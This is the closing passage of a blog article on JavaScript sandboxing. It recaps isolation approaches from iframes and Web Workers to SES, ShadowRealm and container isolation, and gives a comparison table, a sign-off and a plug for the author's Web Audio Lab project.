  • we went to extraordinary lengths to close every possible escape hatch to the global object for code executed through new Function();
  • we dug into the ECMAScript specification and learned about the concepts of Realms and Agents;
  • we saw how to build a classic sandbox based on <iframe>;
  • for sandboxes that don’t need a UI, we looked at architectures built around Web Workers;
  • we examined scenarios where it’s more practical to run many sandboxes inside a single Realm;
  • we explored Secure ECMAScript — a model used even in embedded devices;
  • we learned about the upcoming ShadowRealm standard, which is now close to landing in browsers;
  • we looked at virtualized JavaScript environments that run entirely in the browser;
  • and finally, we reached server-side isolation strategies.

This article does not offer a universal recipe for building a sandbox — because no such recipe exists. Different scenarios require different levels of isolation, different protection mechanisms, and different trade-offs. Seeing the landscape this way makes it possible to choose the right technology for your specific use case and design an architecture that achieves the right balance of security, stability, and extensibility.

Next, I propose a comparative table that you can use when choosing the appropriate isolation technology for your needs:

Criterion eval / Function <iframe> Web Workers SES (Secure ECMAScript) ShadowRealm QuickJS Node vm / vm2 Deno Docker / Firecracker
Isolation level none by default; deep isolation possible but fragile architectural (separate Realm/Agent) architectural (separate thread/Agent) logical isolation within one process separate Realm VM-level isolation of JS engine logical, partially infrastructural platform-level isolation full OS-level infrastructural isolation
Access to the DOM full full (can be restricted) no no no no no no no
Access to Web APIs full, can be manually restricted configurable via sandbox/allow limited only explicitly granted capabilities none none can be restricted granted via flags configured via container settings
Identity discontinuity no yes yes no (shared intrinsics) yes yes no no no
Synchronous execution yes no no yes yes yes yes yes yes
Creation cost minimal high medium low low low low medium high
Scalability (many concurrent sandboxes) poor poor good excellent excellent excellent good good good
Browser support everywhere everywhere everywhere via the Endo framework polyfills only (proposal not yet shipped)
Typical use cases dev experimentation; not for production code playgrounds computation, transforms, AST analysis plugins, npm dependency isolation tiny sandboxes with no critical APIs strictly isolated JS execution running server-side JS secure server-side runtime full isolation of untrusted code; IDEs; CI/CD pipelines
Security level very low high high high high high medium very high maximal

Instead of a Conclusion

Thank you for making it to the end and giving your attention to such a large topic. I hope this guide helped you navigate the landscape of JavaScript sandboxes, understand the strengths and limitations of different approaches, and make more informed architectural decisions in your projects. There’s no universal solution here — the right choice always depends on finding a balance between security, convenience, and the constraints of your system. If this article brought you even a bit closer to that balance, it has fulfilled its purpose.

If you notice inaccuracies, mistakes, or have suggestions for improvement, feel free to message me or leave a comment. Your feedback helps make this material better.

And finally — if you're interested in browser technologies, sound synthesis, and interactive learning, I invite you to follow my project Web Audio Lab. It’s an interactive platform for learning the Web Audio API and the fundamentals of digital sound right in the browser. Leave your email to get early access as soon as the first release is ready.

Top comments (0)